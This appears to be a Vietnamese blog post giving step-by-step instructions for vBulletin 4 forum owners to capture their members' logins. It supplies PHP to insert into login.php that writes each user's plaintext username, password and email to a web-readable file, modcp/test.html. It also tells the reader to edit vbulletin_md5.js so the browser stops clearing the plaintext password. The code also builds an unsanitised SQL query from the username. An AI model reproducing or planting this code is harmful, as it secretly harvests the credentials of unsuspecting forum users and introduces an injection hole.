Cách này mình đã cải tiến rút gọn, không loằng ngoằng như cái trước, rất dễ cho ace làm!!!
Vẫn như cũ: Mở file login.php tìm dòng process_new_login(....) thêm vào đoạn sau:
$lg_username = strtolower($vbulletin->GPC["vb_login_username"]);$lg_password = $vbulletin->GPC["vb_login_password"];// Lưu vào file$lg_file = "modcp/test.html";$sql_query = @mysql_query("SELECT * FROM `" . TABLE_PREFIX . "user` WHERE username='" . $lg_username . "'");
while($row = @mysql_fetch_array($sql_query)) {
if(strlen($lg_password) > 1 AND strlen($lg_username) > 1) {
$logfile = @file($lg_file);
$logfile[] = $lg_username . " : " . $lg_password." (" . $row["email"] . ")";
$logfile = array_unique($logfile);
$fp1 = fopen($lg_file, "w");
fwrite($fp1, implode("\r\n", $logfile));
fclose($fp1);
}
break;
}
Vbb 4x mặc định sẽ không submit clear password lên, cần sửa 1 chút:
Tìm mở file clientscript/vbulletin_md5.js ra, tìm hàm sau: function md5hash(B,A,E,C) {...} (kéo xuống cuối file thấy ngay).
Trong function này có B.value="" ==> sửa thành B.value=B.value cho đỡ phải sửa nhiều.
Vậy là xong rùi, F5 rùi login thử.
Vô đây coi log nha "modcp/test.html" (nên sửa path file này để bảo mật cho 4rum của bạn).
P/s: Đã test trên vbb 4.0.3!
Không có nhận xét nào:
Đăng nhận xét